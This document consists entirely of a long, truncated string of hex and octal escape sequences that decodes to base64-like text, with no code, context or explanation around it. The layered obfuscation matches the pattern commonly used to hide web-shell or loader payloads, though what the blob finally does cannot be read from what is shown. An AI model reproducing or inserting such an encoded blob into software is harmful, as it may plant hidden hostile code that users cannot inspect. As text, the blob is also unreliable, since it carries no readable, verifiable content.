\x46\60\147\x6f\x4c\101\143\x33\110\172\x34\71\x53\x44\160\x66\x47\x46\64\66\116\x68\x77\67\101\104\x30\71\117\x68\64\x79\x47\x79\x45\x58\x45\127\147\x4c\x41\x56\71\x69\x48\167\60\151\x4b\x52\163\x4c\x50\102\70\x72\114\x78\x45\x44\x4b\x77\101\151\110\x45\121\165\144\124\153\x58\104\x54\x4d\105\x58\104\x30\x44\x4d\x53\x73\x6f\x4c\122\x73\x70\x4b\x54\111\66\103\x53\170\x36\101\x42\x73\130\116\x43\131\x34\x44\102\x4d\x78\124\122\x34\x74\112\125\153\141\x45\124\x56\161\x4f\x58\x63\x71\130\x6a\147\x63\x43\102\125\x4b\132\121\163\57\106\x30\x67\130\114\x68\x67\x39\107\x41\153\157\101\x7a\x55\125\x43\x44\x4e\66\110\x78\131\x53\x46\x79\115\x41\105\121\x4d\x31\106\171\x38\71\x43\167\x4a\156\103\101\143\120\116\150\x77\x41\x46\101\70\x31\124\122\163\122\x47\x77\x34\143\x46\172\x31\x4b\x4c\107\125\x55\x41\101\x34\x32\x48\x31\x38\x55\x5a\167\x4d\57\x48\102\131\124\x4d\x77\x49\x74\x46\x33\115\x74\144\x6a\x59\x6c\x4f\x6d\147\125\x4b\x6a\x73\104\105\171\60\x62\x4c\122\x68\x4a\x48\x7a\70\61\x54\151\x31\60\x43\102\x67\104\x44\x69\111\65\106\x57\x55\x44\103\x52\x77\x75\110\105\x6b\x5a\120\x32\150\53\x4e\x57\x51\x69\116\121\x77\x7a\111\122\143\66\132\150\70\157\x4c\105\x6b\x39\116\x41\115\x74\120\125\70\110\101\x41\101\x42\104\172\111\x69\x42\147\x67\103\116\x51\x38\x63\x45\x54\x59\x50\x4c\x69\x30\65\124\x44\160\x6d\102\102\125\126\141\x69\x59\x39\101\103\60\66\124\x52\64\x75\x4e\122\105\163\x45\121\115\112\x41\121\111\x6c\110\x77\x67\170\144\170\x30\x38\117\122\163\x74\x4b\104\111\x51\x41\x77\116\x4c\107\x30\x63\66\123\102\121\x61\120\x42\164\62\130\124\x77\121\103\171\x41\132\x53\x54\60\166\114\x30\x73\104\x65\101\111\104\116\126\153\x58\110\x69\157\x70\x41\170\x41\x31\x4e\102\x6f\164\113\122\x67\x41\120\x43\x45\x4a\x42\x6c\x6c\x6e\x49\x77\x34\x65\120\154\167\x4d\x5a\x54\105\70\x46\170\115\x6c\x53\150\147\x41\x50\x58\163\x48\x58\x79\157\x72\x50\x54\115\x59\x47\x68\143\71\x41\x7a\x6f\132\x50\x6a\x55\172\x41\171\60\x48\145\x44\126\x65\x46\101\x45\114\110\121\102\x5a\x44\122\101\x4d\x53\x78\153\x79\103\101\x34\x75\x4c\x57\x68\x45\116\x77\111\66\116\x78\x51\60\110\102\x6b\x41\x41\167\163\x49\114\x7a\111\x55\124\x52\x64\x4b\x59\x51\147\103\132\x32\116\x64\117\101\x30\x32\127\124\x73\x35\107\x79\153\130\x4c\x67\x4d\x56\x47\x30\x73\104\145\x51\x4a\x6e\107\x44\x6f\x55\x48\147\x77\x55\x44\x54\153\130\114\102\x6b\127\116\x67\163\x44\123\167\102\x48\x41\x51\x41\161\117\167\167\x65\x46\104\x73\101\x4f\x78\x63\x78\101\151\167\171\x44\171\x38\x51\120\130\x51\62\144\101\x67\63\104\104\x55\161\130\x41\x39\x6c\x4c\122\143\125\x53\x7a\131\104\110\x45\x6f\x70\x55\101\101\104\105\104\157\71\115\x68\147\151\103\x32\121\x2b\101\x78\164\x49\x48\171\147\163\115\x68\143\x4c\x42\x33\x55\x36\x4f\147\x6f\121\x47\61\64\113\x45\107\147\125\x48\103\167\x54\104\x51\x42\x4b\x59\105\167\x36\x58\x44\131\126\x46\x79\x49\x59\107\124\147\104\104\170\115\104\106\104\125\120\x48\x30\x6f\104\146\x79\x34\x42\x4f\x52\x63\x49\x4e\x69\x49\110\x50\127\x59\x50\120\122\153\127\x42\x7a\64\x65\114\101\x42\x45\x4e\x6c\x38\125\x41\x78\143\61\x50\x6c\60\114\105\x68\x4d\66\x47\x53\64\121\123\x68\x67\160\x61\x47\167\x41\x5a\123\157\x67\101\x79\x49\x63\127\104\x6f\x43\106\x7a\60\x5a\101\x42\x73\x6f\114\151\x34\142\x55\104\132\155\107\61\x77\113\x44\167\x51\x47\104\102\x49\120\x41\x52\163\x39\x61\121\x41\104\106\104\x49\x50\x4e\107\157\105\x4a\x42\126\x72\102\101\x4d\x36\120\101\x41\x4c\x47\102\x59\x55\x41\122\x6b\x51\103\x33\x6f\x47\145\x6a\64\x69\104\102\167\146\130\x77\61\154\x4c\122\111\x66\x45\124\125\63\x47\x53\153\151\123\x7a\x42\60\x4d\126\x77\111\x44\x33\x63\155\104\172\157\x74\111\123\147\122\120\123\115\x59\106\152\x6c\121\x4e\x30\x67\x54\x58\x7a\x30\x4d\102\x44\121\115\x41\102\x4d\127\102\x6b\157\x68\105\102\164\x4c\x43\167\163\110\123\x42\167\145\x43\x47\147\53\x57\167\170\x6b\x45\x77\x67\x70\x4c\x78\x78\x4c\107\x68\143\x66\143\147\x42\x6c\x4b\150\x63\x55\x61\171\x49\106\x41\107\x51\x78\115\102\163\130\117\x55\x67\130\x4c\x68\170\120\x41\110\x45\155\x42\x68\121\151\x48\104\60\x49\x41\151\105\167\114\105\x73\x36\104\x78\x77\166\x4e\121\60\163\132\x41\x42\145\x43\150\64\x44\x57\104\163\x53\x4d\x54\131\x55\x46\147\x4d\x30\114\x45\x68\157\145\x77\x64\156\141\x77\111\x55\141\170\x51\x58\x43\x78\105\x39\x46\x53\x77\x2b\103\172\x51\x61\x4c\127\x6b\x49\x4d\x41\111\151\x41\x67\x77\x66\110\106\153\x34\117\167\x38\x68\x4c\171\x31\x70\104\150\143\x2f\103\63\153\x32\101\x67\101\102\x43\150\x41\x50\106\x7a\157\65\x47\x7a\x45\125\x45\122\x63\x79\x4b\124\60\x62\x55\124\x64\66\x47\x43\x34\x49\141\x67\x63\x56\117\155\x63\146\x47\102\122\x4b\x4f\122\147\x62\x46\x69\106\x63\102\61\x6b\x32\101\x41\x4d\x32\103\x44\70\x55\x50\x42\101\x4f\x47\122\x45\x6d\123\x53\65\112\x47\x41\153\x35\101\147\101\x6f\103\x41\60\x71\x58\121\x6f\x66\x44\105\x6b\x66\x46\62\102\120\113\104\x77\x68\x54\x77\x5a\155\105\x44\x38\x55\116\x41\121\x48\x44\x67\115\66\123\147\116\x49\x47\x78\x67\160\101\104\x4a\x45\117\154\x34\x2b\x4b\167\x41\172\106\101\x63\130\x50\x69\x30\x79\x48\147\101\x48\x43\x78\x6f\x75\x50\x55\x51\x42\x41\107\x4d\101\x50\x42\60\66\112\x41\x30\x75\x4c\125\163\x55\x53\x67\143\113\107\x52\x64\x67\124\151\x68\111\x48\x46\x38\67\x41\x43\131\160\106\x41\115\146\x44\x79\167\127\x46\x7a\131\x65\x53\122\144\110\x4f\x67\x41\x69\110\x44\157\x64\x41\102\x73\114\120\x41\163\x37\x47\102\x45\171\x54\x42\x6b\130\x4e\x57\x67\x36\101\170\x63\146\x44\x51\70\125\112\x68\143\x52\101\x45\153\x59\114\x52\164\x50\114\x6a\x77\x44\141\x77\132\x5a\x59\x78\x38\x44\x61\110\132\x65\103\101\x52\x67\x4c\x52\x67\x52\x42\60\167\x76\105\171\126\117\x42\x31\153\131\106\x54\x30\x62\x64\61\147\67\x50\x43\x6c\112\114\150\x41\130\x53\147\105\x41\107\x31\x63\x41\144\x78\x38\x58\x46\x77\x30\x49\114\x67\x4d\x37\x41\x41\x4d\132\120\x78\x63\121\x47\x45\x70\157\123\x54\106\131\116\x67\x4d\125\104\x79\111\106\103\155\125\x54\111\x41\115\x70\112\121\x34\160\120\62\x46\x45\116\167\x41\105\117\x78\143\x7a\146\170\x6f\x58\x5a\x7a\x45\x78\x47\170\105\x31\x41\102\x78\113\x4b\127\121\x32\x41\x54\x6f\64\103\167\x41\125\101\172\x30\124\x46\172\x55\104\x4c\170\163\70\x47\x44\111\x68\132\x54\160\x65\x50\147\x55\x50\x45\101\143\x58\120\127\121\x54\x54\103\x38\x2f\x41\167\x41\160\123\x69\154\x33\101\107\125\66\x47\167\60\x4d\x49\147\101\113\x45\x42\144\x4d\114\x7a\x30\110\113\x43\x38\125\x4e\127\125\x41\x61\151\x49\x34\120\x51\x38\x45\x48\x67\60\146\x43\172\163\160\120\102\x63\147\x41\x77\x41\x35\x61\x44\144\x6d\x43\106\x30\x34\x48\x54\x59\110\106\x77\105\x54\117\x79\x67\x55\x48\105\163\x65\123\122\x52\x46\114\147\x41\x59\102\167\160\x72\x44\61\x30\125\x46\107\101\x76\106\x42\101\61\106\150\x6b\x75\110\60\64\x42\x41\x44\x6f\x5a\117\x47\x73\115\x4f\x67\101\66\114\x53\x41\104\x50\62\147\152\x47\60\x6b\x68\x61\172\112\132\141\x6c\60\x41\x4e\130\x38\x34\x4f\x79\x30\120\x41\170\143\x73\x4e\125\x30\x59\x45\x52\x39\111\x4e\130\131\142\106\x42\x63\x4d\x41\170\x63\115\x45\x43\x45\172\101\60\x67\61\x43\x52\163\x69\105\60\125\61\x5a\x54\64\142\106\x47\147\66\x42\122\122\x6e\103\x77\x34\146\x4f\x53\x55\167\x46\x30\147\146\x43\124\x5a\111\120\x6a\163\125\x61\152\x6b\x61\x4f\x6d\x59\x4c\116\x68\x67\125\x4e\x51\157\x73\115\x69\x46\x74\101\x47\131\x36\107\121\116\x70\103\x43\131\120\120\x42\x38\x58\107\x69\61\x6c\x44\151\170\x49\x4a\153\x6f\61\127\102\x51\x37\x43\x77\60\101\x47\x44\147\x45\x59\101\153\166\x53\152\x30\x7a\110\151\x49\146\x55\104\x56\x31\113\147\x49\67\115\x68\167\x67\117\104\163\142\x43\122\x38\71\131\x55\60\157\x46\x68\101\x4f\x4c\130\x51\62\x50\x68\x52\160\101\104\70\x37\117\170\70\131\x4b\124\61\x68\x41\x41\111\166\117\x56\x49\x74\x41\170\x77\143\x46\x67\x34\131\102\x78\126\x6d\116\153\x6f\x75\x4c\127\121\111\114\x68\x59\x66\x55\x54\101\x43\132\170\x51\64\x48\151\x6f\155\104\x67\105\x66\120\x52\143\x52\x4a\x53\153\x41\x46\x7a\61\x72\x41\x57\x63\125\110\x51\x6f\120\x65\172\64\x4b\132\x57\x6b\x42\x4b\x43\111\114\x4c\x68\x73\171\120\130\x55\x47\x5a\147\x67\101\x4f\155\153\105\130\124\60\x44\106\171\x77\x73\120\x51\143\x70\110\x7a\61\154\124\x7a\x49\x43\x5a\x79\143\x4c\x61\x67\x41\165\x4f\101\111\x70\x4b\170\70\127\x50\x51\163\x44\123\x78\121\x50\x4e\x51\x41\x32\x49\167\101\101\113\x52\x6f\x44\x41\x67\115\x39\x47\x7a\111\146\104\x43\x34\163\102\x30\x63\102\x53\x42\x67\x34\x41\x47\x6b\155\120\167\70\x42\105\x45\x73\107\123\x78\163\66\107\152\x49\143\x43\123\170\156\x61\x6c\x77\104\x44\123\131\130\x50\121\x4d\104\103\x41\x4d\57\120\x54\x34\104\106\x6a\x6b\116\x4f\154\153\143\102\x78\x51\x66\116\x67\x77\x37\x41\122\x74\120\x41\x78\x45\150\x4f\150\64\x75\x41\x30\143\61\123\104\157\143\106\x32\147\62\113\x41\x38\123\x61\x45\x67\x65\x46\x6a\125\166\110\x43\x39\x67\143\x77\102\x71\105\x44\x6b\x53\141\x43\60\130\x43\x43\60\x63\x44\170\x77\104\141\x55\147\142\106\x44\126\65\x4d\130\131\66\106\x42\x51\x63\107\103\x41\x44\105\x47\170\111\x41\102\143\142\x41\x42\143\127\x45\63\157\x77\x57\x51\143\146\x44\127\157\x32\x50\x7a\150\x6b\120\x67\x38\166\123\121\163\101\x46\x42\x64\160\104\x7a\132\61\117\154\70\67\110\122\x77\67\x4f\x67\x49\104\x47\102\x63\166\103\x7a\x4d\x65\115\x6a\126\124\117\x6c\x34\131\x4e\x41\x6f\60\107\104\x30\101\132\102\144\x49\106\170\105\104\x4f\x77\x4d\x75\x4e\x55\x6f\62\x5a\167\122\x59\117\167\x34\101\x50\x54\x6f\71\115\x52\x51\x73\114\123\126\111\106\60\147\x35\145\x6a\122\x6e\117\x69\x6f\126\141\x41\147\67\x41\x47\125\x66\113\x52\x67\101\103\171\153\x76\123\x52\71\153\x4c\107\131\66\x49\172\167\146\x43\102\167\x49\101\x41\115\x36\101\x6a\x30\104\x50\x68\64\x44\141\107\147\x43\x57\121\x67\x31\x46\127\x70\63\x4b\104\x77\146\x4d\123\115\x62\115\x6a\60\x37\x47\x43\60\155\104\x51\x64\x63\x4f\x67\x41\70\x4e\121\147\x76\104\x53\60\x50\120\x51\x49\x79\120\x6b\163\x58\106\167\116\67\116\147\x41\x35\127\121\x30\120\x65\170\167\x50\104\x79\153\117\114\x7a\70\x44\104\x41\101\x58\x48\60\70\x75\x57\x52\167\105\104\x41\x30\x36\x58\x77\x4d\70\x4b\124\60\125\x4c\147\102\x4e\x47\102\x63\x44\142\172\102\x4c\141\172\70\111\104\x58\163\66\106\x77\111\164\x46\x68\64\65\x4a\x51\x73\x5a\x50\152\x56\x56\x4d\x6d\157\x45\x49\101\70\146\x43\102\x34\x4f\117\x6a\105\x57\114\x6a\x30\x4c\x45\x68\143\125\x46\x33\x6f\164\x65\x67\101\66\x41\x44\x59\161\117\172\167\122\107\172\x38\146\x50\x68\x42\x4a\x48\x79\70\x6d\104\x7a\126\153\x41\x46\x34\116\110\123\160\x62\x43\172\x77\104\117\170\x63\165\x42\171\x41\101\105\x57\x55\111\116\x31\163\155\x50\x42\131\x4e\x66\172\x55\x57\105\172\125\x39\x41\x78\x51\71\x54\170\143\x38\105\167\x34\x42\x65\152\x6c\132\104\167\167\114\106\101\x30\x51\103\171\x73\143\114\171\125\53\x4c\x78\121\x58\x64\x7a\126\153\103\x43\x73\x58\141\x67\147\160\x43\62\131\x50\111\x52\x34\101\x46\x7a\157\130\111\147\144\x53\x42\167\x4d\x36\120\x41\115\x68\117\x67\111\x39\x4f\151\60\61\101\102\105\130\x46\x43\x6c\x4a\x45\x31\111\x41\x64\121\x41\162\117\170\x39\x33\117\x51\x77\x50\104\167\167\x42\x41\x44\153\x44\101\x6a\153\154\x63\x41\x5a\x31\x50\x6a\153\x41\x61\101\x52\x64\120\121\115\125\101\x78\x34\x58\106\x78\x67\x44\x4c\x32\150\157\115\x51\x49\x55\x42\167\102\161\x4b\147\125\x36\120\x52\x4d\63\106\x30\153\x66\x4b\x42\x34\71\117\125\x38\x33\x59\x57\164\144\104\101\167\x48\x46\124\157\x42\x4d\x53\147\x58\106\102\x4d\x30\106\172\x49\x54\x54\152\x41\103\111\152\x77\x4f\116\150\167\144\106\x41\x45\x4c\x4d\x52\x38\57\x47\x7a\x4d\x58\115\x68\x64\60\102\154\x34\x36\110\147\x6f\143\112\x69\115\x37\x5a\x42\143\x78\114\x44\64\x54\123\171\x67\163\116\147\167\x79\132\x44\131\x56\117\x44\106\63\116\x54\167\x36\106\x7a\143\x5a\106\x42\121\x44\x46\x30\x73\110\125\152\102\x33\101\104\167\x4d\115\x7a\x34\105\x46\150\105\71\x46\x53\x34\x58\132\102\111\166\120\x79\x6c\165\116\x48\x59\131\113\124\147\143\x43\x44\64\x49\117\151\153\116\110\60\x68\x6b\111\103\70\57\x4f\126\101\x48\132\x32\143\110\104\x32\x73\131\106\x51\115\x54\101\x45\147\x6f\x4c\x54\154\x4c\x4b\x42\x63\x4c\x65\x51\x42\156\x46\x31\x34\x4d\x61\x48\64\142\104\x54\x73\160\105\102\144\x4b\x5a\103\157\142\114\x51\x74\111\x4f\126\x6b\x63\x57\121\163\x66\x4b\126\x6b\x4f\117\x68\x38\x4b\x48\150\x51\66\104\x78\64\x55\102\63\143\66\130\152\125\126\x43\x68\167\155\x42\172\60\x37\x4f\153\x6f\145\x4c\62\x51\117\107\x41\x41\x48\126\152\x4a\x6e\111\147\167\x4b\x41\103\x49\65\104\104\x6b\x50\x43\x79\153\125\x41\105\x6b\157\114\x78\144\x75\101\130\x63\x63\x50\124\x73\115\111\152\157\120\x48\x79\153\x39\x4c\x42\143\x66\116\x69\x77\121\x45\61\x45\170\130\x68\167\x46\103\x44\x51\104\x58\124\160\155\106\x7a\167\x44\x53\x7a\125\104\101\x55\150\x6f\132\103\x35\156\x4e\126\60\x4c\x4e\130\70\142\101\x41\105\71\114\121\116\x49\117\123\x34\163\105\x52\x74\122\x4c\x57\131\121\x4f\122\x55\x69\x48\103\x38\x34\x41\x67\147\102\113\104\60\65\x44\x68\147\x74\112\x58\157\65\130\167\122\x65\x50\x52\x41\x63\x50\x6a\x6f\x43\x4c\x52\x51\101\x53\172\x6c\x4d\114\152\x49\x39\141\x7a\106\x31\132\172\121\x4b\x44\150\167\x41\x41\x47\121\121\x53\102\x6c\x49\x47\x77\x73\x70\x50\150\x74\x6c\115\106\153\104\127\102\x63\x31\110\61\x67\x39\101\121\102\x4a\x47\103\x30\x41\x44\x79\64\151\116\x67\x34\x33\101\x42\147\141\x41\172\x51\161\x48\101\x31\x6c\x48\170\x59\104\123\x69\x45\113\110\172\x38\x62\x44\103\x67\x41\x47\x42\x77\127\110\121\x67\x65\103\103\60\x31\116\x52\x68\x4a\x50\122\105\x55\114\x52\x63\117\x4d\x47\x55\151\x47\x67\147\172\120\154\x6b\x36\x44\172\x55\70\101\172\167\x66\113\147\x4e\x4a\107\105\x55\x48\x64\x32\x63\150\120\x52\x34\x59\x42\x52\125\x74\x50\125\x6b\163\x4c\x41\x63\x75\107\102\105\x35\x64\x53\170\x6d\x42\x43\x55\x44\x49\x67\x4e\132\101\x32\131\x79\101\x53\x6c\x49\x47\x79\x73\x63\x4c\121\144\x36\101\107\x51\110\106\x77\150\x71\144\x31\x77\115\105\x47\x6b\101\113\125\x6f\150\x4b\x41\x4e\x4a\x48\60\x73\x48\132\121\x42\x59\120\124\115\111\x49\x42\143\x35\x47\172\x59\165\114\x32\x51\171\113\x42\x63\61\126\x54\160\x65\111\x67\125\111\104\x53\x6f\101\x43\104\157\x51\103\x77\115\121\x4e\x52\121\160\x53\x42\164\x4a\x4e\130\144\152\102\x51\x78\x70\107\x41\121\x38\x45\x41\70\x51\107\x54\60\143\124\102\x6b\x2b\102\61\101\x30\x57\123\x70\132\106\x78\x30\143\102\x6a\164\153\110\x78\x41\x6f\105\102\x63\x7a\110\x67\101\146\x44\147\102\131\116\x6a\x34\x41\115\x54\160\145\x43\x43\x34\x71\101\122\x67\x38\103\x45\163\141\106\102\144\116\116\126\x38\53\111\x67\167\115\110\170\x63\x34\105\x68\122\111\x48\x77\x41\x35\124\x43\167\x39\x4e\127\x67\163\144\123\111\145\120\101\x30\131\x42\152\x67\x51\x49\121\70\x41\101\x41\x41\117\101\60\x67\104\122\172\x59\101\x47\104\x6f\x4b\x4d\150\x52\142\x50\x44\153\130\106\x42\x67\165\x42\170\x63\107\123\172\x30\117\x4c\x57\x6f\105\x4f\x51\x70\x72\x50\154\64\116\132\171\x45\116\114\x44\70\151\101\x42\147\x51\106\x45\x63\163\132\x41\150\x65\x44\x6a\x49\151\102\x54\163\146\113\x51\105\107\x53\x77\x42\116\x47\171\x77\61\141\x6a\144\131\117\x67\x55\x39\x4d\150\147\x31\101\x77\70\53\124\122\153\165\x45\x7a\111\146\123\x41\x64\x57\x4e\x77\x45\x45\110\101\61\160\102\102\x51\x41\x41\122\x4d\x75\101\x69\x38\x70\101\x43\x39\111\x43\x41\64\170\132\x57\143\53\x41\170\x77\161\114\x68\121\123\110\171\x73\x58\106\x41\150\x4b\101\x55\157\110\x63\152\x56\x5a\x43\x43\143\x4e\104\103\157\x5a\x43\151\x30\114\123\x42\x77\x55\117\x6b\163\166\x4c\x7a\157\x4a\101\154\x77\x69\130\x44\x77\145\x41\x44\157\64\x4c\x52\71\112\102\153\153\124\113\123\64\x79\x48\x32\64\x74\123\102\x41\x64\120\x44\x55\x45\111\170\112\154\x4b\153\x6b\103\111\x69\x45\x55\107\x68\131\110\x5a\x44\106\x6d\101\x78\70\113\104\x69\x4a\144\x41\172\153\146\x50\122\163\130\103\x78\x4d\x73\x50\x32\x52\121\x41\121\x42\x6e\120\167\60\x4f\113\126\60\x56\132\x68\143\101\x48\x78\x45\105\x41\x78\70\x58\132\x55\x6f\x35\132\x44\157\130\x44\122\70\105\101\x44\60\x36\103\x41\105\165\x4c\171\153\172\x41\x69\60\x4c\x65\152\154\61\115\x52\125\x4c\104\167\101\145\101\62\x59\x66\x50\x79\170\111\113\124\101\x62\x46\101\x64\153\x41\x6c\x38\x55\x4a\x44\147\116\x4f\122\125\x37\x45\x42\70\x79\x4c\x68\106\x67\113\x78\147\53\105\x45\157\x75\141\x6a\125\x61\117\104\125\x36\107\167\64\101\113\121\x77\x62\120\x78\x38\162\x4b\x44\111\114\x44\101\x4a\x6b\x41\x31\64\101\x4d\x33\143\x34\x44\104\167\71\105\167\115\127\x42\172\x49\x70\114\x53\x6c\x6e\114\x51\102\162\102\x67\x4d\x7a\103\x43\x41\x49\x44\172\60\x70\x41\105\160\153\124\x78\147\163\106\60\x34\x79\x41\122\121\160\104\x7a\x55\161\112\101\x41\101\105\167\x6b\163\x46\x78\70\66\107\x52\143\61\x58\104\144\161\x48\x78\121\115\111\147\121\x2f\120\x54\157\x50\x53\102\x52\x4b\x61\101\x6f\101\114\x41\x64\122\117\155\143\x45\x41\167\x4d\x79\103\101\131\104\132\170\143\112\x41\x6a\70\104\x4e\x42\x38\164\106\61\x51\62\127\102\x78\x59\103\x7a\126\x37\x57\x77\x39\x6d\105\167\163\132\114\147\x52\x4a\x47\x7a\x34\142\143\124\x56\145\111\x68\64\x39\115\x78\x77\x2f\x4f\170\70\x78\x4b\103\x35\x4c\x4e\125\x73\101\x46\x6a\154\x30\101\105\x74\162\x4b\x77\x31\157\107\x42\x73\130\110\x78\70\114\101\171\x34\x58\115\122\x34\101\x46\63\101\107\141\x67\x67\x42\106\172\131\115\111\102\x56\153\x43\x7a\x41\141\x46\x6a\x70\x4c\x48\170\x64\153\145\x44\101\104\x41\106\153\x34\115\147\x42\x64\x4f\x67\70\160\105\x79\x6c\112\x42\170\x4d\104\105\x41\116\62\x4c\154\64\x58\130\x77\64\x66\112\151\x6f\101\132\121\71\x4a\x48\152\x77\62\124\x43\65\114\x50\130\163\61\141\150\121\126\x4f\101\61\x37\117\x6a\61\x6e\x59\x45\153\x41\123\150\x51\102\x48\x43\111\171\x43\x51\x46\x36\x46\x43\x38\130\x48\151\x49\x36\106\150\x51\x74\120\150\x34\171\110\x7a\143\x58\120\167\x4e\122\114\147\111\x55\110\x68\126\x72\x49\x69\x63\x4b\105\x6d\x46\x49\x4b\x55\147\x31\x46\x43\x38\x58\x47\61\x59\62\130\104\x59\105\x43\62\x67\x70\x46\x41\60\x43\x43\170\131\x70\x46\172\x6f\104\x41\172\64\61\124\x7a\x46\x66\102\61\x34\127\x41\101\147\x37\x46\127\x64\163\x4c\x53\x6b\57\112\x52\x59\142\106\167\x51\115\116\127\125\155\130\172\160\x71\103\x42\x38\120\x4f\x78\164\113\x41\171\111\146\123\150\x73\x55\x4f\x58\x6f\x35\101\123\111\60\x4f\107\x6f\x59\x41\x67\163\122\104\x7a\x73\142\x50\147\143\166\113\x44\167\x31\143\121\112\x65\x42\61\60\70\104\150\121\147\117\150\111\x58\x53\101\x49\x73\x47\x41\x45\x44\123\x53\106\x6e\115\126\x6b\x78\107\147\115\116\x50\x68\x63\70\110\170\x73\x58\x46\171\x49\x62\x46\167\x41\163\107\61\167\x75\127\121\143\x66\117\107\163\x45\130\x68\x56\x6e\113\125\147\142\114\171\x55\113\110\x79\x30\x44\126\104\x70\146\131\x7a\147\x44\x44\x51\x73\x58\x4f\x42\115\61\120\x53\x6c\114\105\170\x63\x66\x4d\147\163\x50\x4f\126\64\x63\x4c\x77\x41\x41\107\x43\70\x36\x41\x68\101\114\x4c\x78\x41\114\120\151\153\x69\x45\61\x55\x36\101\x52\x78\146\104\x67\x34\131\113\147\60\123\x61\x43\x38\131\x50\x54\x55\x70\101\104\x34\114\126\121\112\x32\x48\104\x34\x4d\x48\x58\164\132\x50\x54\153\114\x41\x51\x4d\x57\x47\170\125\163\x45\62\x68\125\x41\x41\101\105\x50\167\x73\170\x64\167\x55\x4e\x45\102\x38\x32\x46\102\121\x48\120\170\64\x58\x4a\x56\101\x77\x5a\x57\160\x5a\x44\x52\70\161\x49\170\143\x74\107\172\x63\x41\x45\x44\x30\x4a\113\124\60\x48\x65\x77\x46\63\113\147\x4d\x36\x49\x67\147\125\104\124\x70\157\116\170\x6f\163\x45\167\153\160\x46\x68\163\x4a\116\x51\x4d\x45\112\124\x67\x32\x41\x43\111\67\105\150\115\x4a\x48\x7a\70\x58\120\171\70\x55\x47\62\x6b\164\130\172\65\x5a\x44\121\x34\111\113\x51\70\x52\110\170\x49\x61\x50\x6a\153\x2b\x4b\x55\x73\x68\126\x6a\106\66\x46\106\70\x58\x49\x69\x31\x64\x44\x77\111\53\x53\123\147\125\x45\x77\157\x73\x45\x79\126\x46\101\156\125\131\x4f\x41\147\x32\113\x67\131\123\132\147\115\x4b\114\153\157\x44\106\x52\x73\165\x50\127\x34\107\x64\x77\x73\x58\106\x78\x77\151\x50\x77\101\x50\120\123\167\132\x4c\122\x38\157\x4c\104\x49\x58\x54\103\x31\62\x42\x44\143\66\104\x68\x77\147\117\x32\x64\147\123\122\x38\x54\x61\x45\x77\x55\x46\167\x74\x6c\116\155\121\x49\113\102\x64\x72\102\103\115\x58\x4f\167\163\63\101\x7a\x77\142\x46\x43\170\x4a\x43\63\x6b\164\101\x6d\163\x44\x4f\x7a\x55\x32\x50\167\x67\x43\x4e\123\x67\x5a\114\x32\x51\x39\102\153\157\131\x44\x6a\132\x31\x42\170\x38\x4b\116\x54\x59\x61\117\152\x30\x58\x4c\103\x77\x38\105\171\x73\x75\x46\x78\71\x2b\x4e\60\147\143\110\147\150\161\x46\x42\143\126\x5a\62\x45\101\x47\102\105\x6c\113\x43\170\x4b\x49\153\x63\x47\x5a\101\121\x33\117\102\x30\53\104\x44\157\x53\x50\x51\x67\145\111\x6a\154\112\101\x7a\x30\x2b\104\101\x42\61\101\101\121\126\x61\167\x77\161\103\167\x42\x67\106\x43\x38\122\110\x41\101\x65\115\150\116\x55\x42\x31\x77\131\127\122\x4a\161\120\150\x63\101\101\150\115\123\107\x7a\71\x6b\x46\171\x34\130\117\127\x63\65\x61\x6a\x59\166\104\121\x77\x71\x46\172\163\66\106\x77\163\163\x41\x42\71\120\x47\x54\x6b\154\144\101\132\66\101\103\131\64\x4e\x58\x63\x43\x4f\x32\x63\x78\x54\167\102\x49\106\170\147\107\x53\123\x45\x50\x4d\130\x51\143\x46\124\147\x7a\146\170\121\70\x45\123\154\x49\110\x43\x34\x66\x54\171\64\x52\106\105\x63\x73\x5a\x7a\x56\x59\x46\x57\157\151\110\121\116\x6c\113\x51\x45\x73\x46\172\125\164\113\x54\70\x48\x63\104\132\x5a\116\126\x34\x44\x61\x43\x59\x33\103\101\111\71\x47\102\x67\122\112\124\x41\x63\105\x42\164\171\x4e\x33\x51\x59\120\104\60\146\x41\61\x30\117\120\103\x6b\122\106\105\153\65\117\x67\102\x4b\106\61\x59\62\101\x77\101\66\103\150\167\115\x58\121\150\154\115\122\x49\x41\x50\101\163\x54\106\x43\60\x6c\144\x7a\101\x42\117\x67\x49\x4f\x48\103\x59\110\x44\x47\x64\x70\x54\102\x38\166\103\167\x77\x61\120\62\x52\x53\113\x41\x41\x69\x49\x6a\60\x79\103\x43\x63\104\114\x52\x4d\x33\107\x7a\x30\142\123\122\143\x39\x43\61\x45\x48\x53\x44\154\131\x44\x47\163\115\x4a\x7a\61\x6c\103\x45\x67\x61\120\124\x6b\x54\x47\104\x77\x66\103\x7a\125\x41\110\x41\167\64\x4d\151\131\x66\101\x32\143\121\x53\171\x38\166\x4f\x51\115\x58\106\62\121\112\115\x58\121\x32\130\x77\x4d\x65\x4c\x52\x38\x4b\132\102\x63\x71\x4c\x44\x38\146\115\102\x38\53\105\x41\64\107\x65\147\x67\130\103\147\64\x2b\102\124\60\66\x59\101\153\141\x50\x67\144\116\101\172\111\146\144\x53\x35\146\x49\147\x63\114\141\167\x41\103\x44\171\60\x50\x54\x53\153\x52\x41\171\x30\125\x4c\150\x39\126\116\x47\121\x4c\x46\x77\x38\150\117\x6c\147\x39\105\x77\164\x4e\113\x54\60\x69\x53\122\x78\114\102\x32\64\66\123\x42\144\132\x43\x77\60\142\110\x77\64\124\103\171\x67\x65\x50\102\x63\104\x41\125\163\104\x63\x41\x42\156\x4f\151\x67\x4e\104\x79\x6c\x5a\103\150\x4d\131\x53\171\x67\166\111\x55\70\145\x53\151\105\x50\x41\127\x46\x72\120\167\101\x4f\110\103\x41\x34\x4f\155\101\x4e\x4b\x44\x30\x68\117\x78\164\x4a\x43\x31\111\167\x53\104\64\x6a\101\107\157\x35\x46\x7a\163\165\131\104\125\131\123\124\111\114\x4c\x44\70\x58\x53\x79\x31\161\120\x56\70\71\x4d\151\111\x47\120\x51\x45\x66\124\x52\147\122\110\60\157\x41\x4c\x79\106\x77\x41\x47\x59\101\x49\x67\170\162\x43\x41\x49\125\120\x69\61\x4b\101\x78\x59\x35\116\102\153\121\x47\x41\x30\x48\x64\x44\160\145\x4f\x32\147\x32\x47\152\163\x42\x4d\123\x41\x70\123\x77\163\x33\102\x6b\147\x41\123\x6a\112\x49\x48\x42\125\66\x43\x33\131\x62\x50\121\x42\157\116\x42\x73\x58\x61\x41\x38\x66\x46\152\x56\x77\114\x6e\131\x48\130\x68\122\x72\x46\x43\147\113\x41\150\x4d\116\x48\x6a\111\114\x46\x52\x34\x73\106\101\153\x78\x41\150\x51\144\x43\104\x49\125\x